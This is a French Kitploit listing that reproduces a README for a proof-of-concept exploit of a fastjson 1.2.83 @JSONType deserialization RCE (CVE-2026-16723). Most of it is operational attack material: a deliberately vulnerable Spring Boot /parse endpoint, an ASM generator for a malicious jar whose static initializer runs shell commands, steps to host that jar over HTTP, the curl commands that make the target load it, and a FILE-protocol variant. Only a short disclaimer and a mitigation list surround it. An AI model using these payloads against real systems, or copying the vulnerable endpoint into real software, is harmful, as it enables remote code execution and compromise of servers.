Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-16723 — Reproduit la RCE fastjson 1.2.83 @JSONType avec une cible Spring Boot vulnérable et un générateur de payload basé sur ASM utilisant des chaînes jar par protocole HTTP ou fichier. | Kitploit
Outils/GitHubGitHub/superman-l/cve-2026-16723
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubsuperman-l/cve-2026-16723

CVE-2026-16723

Reproduit la RCE fastjson 1.2.83 @JSONType avec une cible Spring Boot vulnérable et un générateur de payload basé sur ASM utilisant des chaînes jar par protocole HTTP ou fichier.

Voir le dépôt
il y a 1 jourPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🚨 CVE-2026-16723 — RCE sur fastjson 1.2.83 via la chaîne de détection de ressources @JSONType

Java fastjson Type Environment Status

Projet de reproduction du chargement de classes distant / exécution de commandes sur fastjson 1.2.66 ~ 1.2.83 via l'annotation @JSONType + nom de classe illégal + protocole jar:.

⚠️ Avertissement

Ce projet est destiné uniquement à la recherche en sécurité, à la reproduction de vulnérabilités et aux tests autorisés. Il est strictement interdit de l'utiliser sur des systèmes non autorisés, pour des attaques illégales ou à des fins malveillantes. L'utilisateur assume l'entière responsabilité de ses actions ; l'auteur décline toute responsabilité légale en cas d'abus.


Article d'analyse de la vulnérabilité : https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w


📖 Présentation du projet

Ce projet met en place un environnement complet de reproduction de la vulnérabilité fastjson 1.2.83 autour de CVE-2026-16723 :

  • demo/ — Application Web Spring Boot 2.7.18 vulnérable (dépend de fastjson 1.2.83), exposant le point de terminaison POST /parse qui appelle directement JSON.parse(json) ;
  • exp/ — Générateur de jar sonde malveillant basé sur ASM (deux variantes : protocole HTTP / protocole FILE) ;
  • 环境/ — FatJar précompilés pour trois serveurs d'application (Tomcat / Jetty / Undertow), prêts à l'emploi.

Idée clé de l'exploitation : en construisant un JSON spécial dont @type est une URL jar, on amène fastjson à emprunter la branche de confiance de l'annotation @JSONType → getResourceAsStream télécharge le jar distant/local → defineClass charge la classe malveillante → l'initialisation de la classe déclenche <clinit> → exécution arbitraire de commandes (RCE).


🎯 Aperçu de la vulnérabilité

ÉlémentDétail
CVECVE-2026-16723
ComposantAlibaba fastjson
Versions affectées1.2.66 ~ 1.2.83 (la dernière version 1.x reste affectée)
Type de vulnérabilitéExécution de code à distance par désérialisation (RCE)
Point d'entréeJSON.parse(json) / JSON.parseObject(json) (sans spécifier de type concret)
Conditions préalablesCible en Spring Boot FatJar, JDK 8, safeMode désactivé

Conditions d'exploitation

  1. Code cible : utilise JSON.parse(json) ou JSON.parseObject(json) pour analyser directement des entrées non fiables, avec une version de fastjson comprise entre 1.2.66 ~ 1.2.83 et safeMode désactivé ;
  2. Forme d'exécution de la cible : Spring Boot FatJar (démarré via java -jar, LaunchedURLClassLoader ; seule Spring Boot ≤ 2.7 conserve la capacité de repli du gestionnaire du protocole jar:) ;
  3. JVM cible : JDK 8 (sous JDK 9+, defineClass lève une ClassFormatError ; au mieux, seul un SSRF est possible) ;
  4. Accessibilité réseau : la cible doit pouvoir atteindre le port HTTP de la machine de l'attaquant (chaîne via protocole HTTP) ou pouvoir lire un fichier jar local (chaîne via protocole FILE).

🧩 Principe de la vulnérabilité

Le checkAutoType de fastjson entre dans la branche de confiance lorsqu'il rencontre une classe annotée @JSONType, contournant la plupart des vérifications de la liste noire et autorisant le chargement. Ce projet exploite ce point en écrivant directement le bytecode avec ASM : un « nom de classe interne illégal » est placé dans le this_class du pool de constantes de la classe, de sorte que les trois noms s'alignent parfaitement :

root@kitploit:~
@type        jar:http:..2130706433:19090.x!.y        (点形态,无斜杠)
resource     jar:http://2130706433:19090/x!/y.class   (点 -> 斜杠)
this_class   jar:http://2130706433:19090/x!/y         (字节码内部类名)

Structure de la classe malveillante :

  1. Annotation @JSONType — la clé qui ouvre la branche de confiance du checkAutoType de fastjson ;
  2. Constructeur par défaut <init>()V — garantit que fastjson peut instancier la classe normalement ;
  3. Bloc d'initialisation statique <clinit> — exécute Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}) dès l'initialisation lors du chargement de la classe, réalisant l'exécution de commandes.

Un nom de classe illégal ne peut pas être écrit avec javac ; seul ASM peut écrire directement l'URL dans le pool de constantes — c'est la raison pour laquelle le générateur de ce projet dépend de asm-9.6.jar.


📁 Structure du projet

root@kitploit:~
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt                     # 快速利用速查(http / file 协议两条命令)
├── demo/                        # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│   └── src/main/java/com/example/demo/
│       ├── DemoApplication.java
│       └── controller/VulController.java     # POST /parse -> JSON.parse(json)
├── exp/                         # 恶意探针 jar 生成器
│   ├── GenProbeHttp.java        # HTTP 协议链(jar:http)
│   ├── GenProbefile.java        # FILE 协议链(jar:file)
│   └── asm-9.6.jar              # ASM 字节码操作库
└── 环境/                        # 预编译靶场 FatJar(开箱即用)
    ├── demo-0.0.1-SNAPSHOT.jar            # Tomcat 中间件
    ├── demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty 中间件
    ├── demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow 中间件
    └── asm-9.6.jar

Point de terminaison du laboratoire

demo/src/main/java/com/example/demo/controller/VulController.java :

root@kitploit:~
@PostMapping("/parse")
public String parse(@RequestBody String json) {
    ParserConfig.getGlobalInstance().setAsmEnable(false);
    ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
    JSON.parse(json);   // 未指定类型,直接解析不可信输入
    return "Parsed!";
}

🚀 Démarrage rapide

1. Démarrer le laboratoire vulnérable

Le laboratoire doit être exécuté sous JDK 8 (conformément aux conditions d'exploitation).

root@kitploit:~
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar            # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow

# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run

Adresse du point de terminaison après démarrage : http://127.0.0.1:8080/parse


💥 Exploitation de la vulnérabilité

Méthode 1 : chaîne via protocole HTTP (jar:http, recommandée)

① Compiler le générateur

root@kitploit:~
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java

② Générer le jar sonde malveillant

root@kitploit:~
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
  • 19090 — port HTTP d'hébergement du jar malveillant
  • open -a Calculator — commande à exécuter sur la machine cible (ouvre la calculatrice sur macOS ; sous Linux, utilisez id > /tmp/pwned 2>&1 et vérifiez si le fichier existe)

Le fichier généré par défaut est x (sans extension) et contient y.class ; le payload est :

root@kitploit:~
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}

③ Héberger le jar malveillant (service HTTP)

root@kitploit:~
python3 -m http.server 19090

Assurez-vous que python3 -m http.server est lancé dans le répertoire où le fichier x a été généré.

④ Envoyer le payload à la cible

root@kitploit:~
curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'

⑤ Vérification

Le résultat de l'exécution de la commande n'est pas renvoyé dans la réponse HTTP ; il faut le confirmer sur la machine cible :

root@kitploit:~
# Linux 目标
cat /tmp/pwned            # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)

Méthode 2 : chaîne via protocole FILE (jar:file)

Cas d'usage : la cible ne peut pas accéder au port HTTP de la machine de l'attaquant (isolement du réseau interne / trafic sortant restreint), mais un fichier jar peut être placé sur le système de fichiers de la machine cible.

① Compiler le générateur

root@kitploit:~
cd exp
javac -cp asm-9.6.jar GenProbefile.java

② Générer le jar sonde dans le répertoire correspondant de la cible

root@kitploit:~
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'

Le générateur calcule l'URL jar:file: à partir du répertoire courant (le séparateur de répertoire / est remplacé par .) ; par exemple, s'il est exécuté dans /tmp/project/exp, le payload sera :

root@kitploit:~
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}

③ Placer le jar généré dans le répertoire correspondant de la machine cible

Téléversez/copiez le fichier y généré vers le chemin absolu correspondant à @type sur la machine cible (par exemple /tmp/project/exp/y), en conservant la même structure de répertoires.

④ Envoyer le payload à la cible

root@kitploit:~
curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'

Remarque : le chemin de la chaîne FILE doit correspondre exactement au chemin réel du fichier sur la machine cible ; sinon, la détection de la ressource échoue et le chargement n'est pas déclenché.


⚙️ Description des paramètres du générateur

GenProbeHttp (chaîne HTTP)

ParamètreValeur par défautDescription
port19090Port d'hébergement du jar malveillant
cmdid > /tmp/pwned 2>&1Commande exécutée sur la machine cible
hostToken2130706433IP cible sous forme d'entier (127.0.0.1)
entryyNom de l'entrée de classe dans le jar
outFilexNom du fichier jar généré (sans extension)

GenProbefile (chaîne FILE)

ParamètreValeur par défautDescription
port19090Paramètre réservé (la chaîne FILE n'utilise pas de port)
cmdid > /tmp/pwned 2>&1Commande exécutée sur la machine cible
dirRépertoire courantRépertoire du jar sur la machine cible (utilisé pour générer l'URL jar:file:)
entryxNom de l'entrée de classe dans le jar
outFileyNom du fichier jar généré (sans extension)

Conversion de l'IP sous forme d'entier

2130706433 est l'entier non signé 32 bits de 127.0.0.1. Utiliser un entier évite que les . de l'IP ne soient corrompus par la logique de remplacement . → / de fastjson. Si la machine de l'attaquant n'est pas la machine locale :

root@kitploit:~
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"

🔍 Questions fréquentes

Erreur autoType is not support. jar:http:...

Cela indique que le jar peut être téléchargé (le SSRF est confirmé), mais que TypeUtils.loadClass renvoie null. Il n'y a quasiment que deux causes :

  1. La classe malveillante ne porte pas l'annotation @JSONType — la détection ne franchit pas la branche de confiance et n'atteint jamais loadClass ;
  2. Le nom de classe interne de la classe malveillante n'est pas aligné avec @type — le nom réel de la classe ne correspond pas à celui attendu par defineClass, le chargement échoue.

Le générateur de ce projet résout ces deux points : annotation @JSONType + alignement des trois noms.

Un unique envoi jar:http ne permet toujours pas le RCE ?

Si le ClassLoader de la cible n'est pas LaunchedURLClassLoader (par exemple, IDE lancé directement, archive war classique, Spring Boot 3.x), la chaîne jar:http en un seul envoi ne permet pas le RCE ; au mieux, elle permet uniquement de vérifier le SSRF.

Pourquoi JDK 8 est-il requis ?

Sous JDK 9+, defineClass valide plus strictement les noms de classes illégaux et lève une ClassFormatError ; la chaîne casse au stade du chargement.


🛡 Recommandations de correctif

  1. Mettre à jour le composant : fastjson 1.x n'est plus maintenu ; il est recommandé de migrer vers fastjson2 (ou vers une version corrigée) et de suivre les bulletins de sécurité officiels ;
  2. Activer safeMode : ParserConfig.getGlobalInstance().setSafeMode(true); désactive complètement autoType ;
  3. Éviter d'analyser des entrées non fiables : n'appelez pas directement JSON.parse(json) / JSON.parseObject(json) sur une entrée utilisateur ; utilisez de préférence JSON.parseObject(json, Xxx.class) en spécifiant explicitement le type cible ;
  4. Utiliser une liste noire/blanche : n'autorisez que les classes de confiance via ParserConfig.addAccept(...) ;
  5. Mettre à niveau Spring Boot / JDK : utiliser une version plus récente de JDK et de Spring Boot réduit la surface d'exploitation ;
  6. Minimiser l'exposition : authentifiez les interfaces exposées sur Internet et faites bloquer les payloads @type suspects par un WAF.

📚 Références

  • GitHub officiel de fastjson : https://github.com/alibaba/fastjson
  • Bulletins de sécurité / informations sur les vulnérabilités de fastjson : https://github.com/alibaba/fastjson/wiki/security_update_guidance

Si ce projet vous est utile, n'hésitez pas à ⭐ Star pour soutenir la recherche en sécurité et la documentation des vulnérabilités.

⚠️ À utiliser uniquement pour des tests autorisés, jamais à des fins illégales !

Télécharger l’outil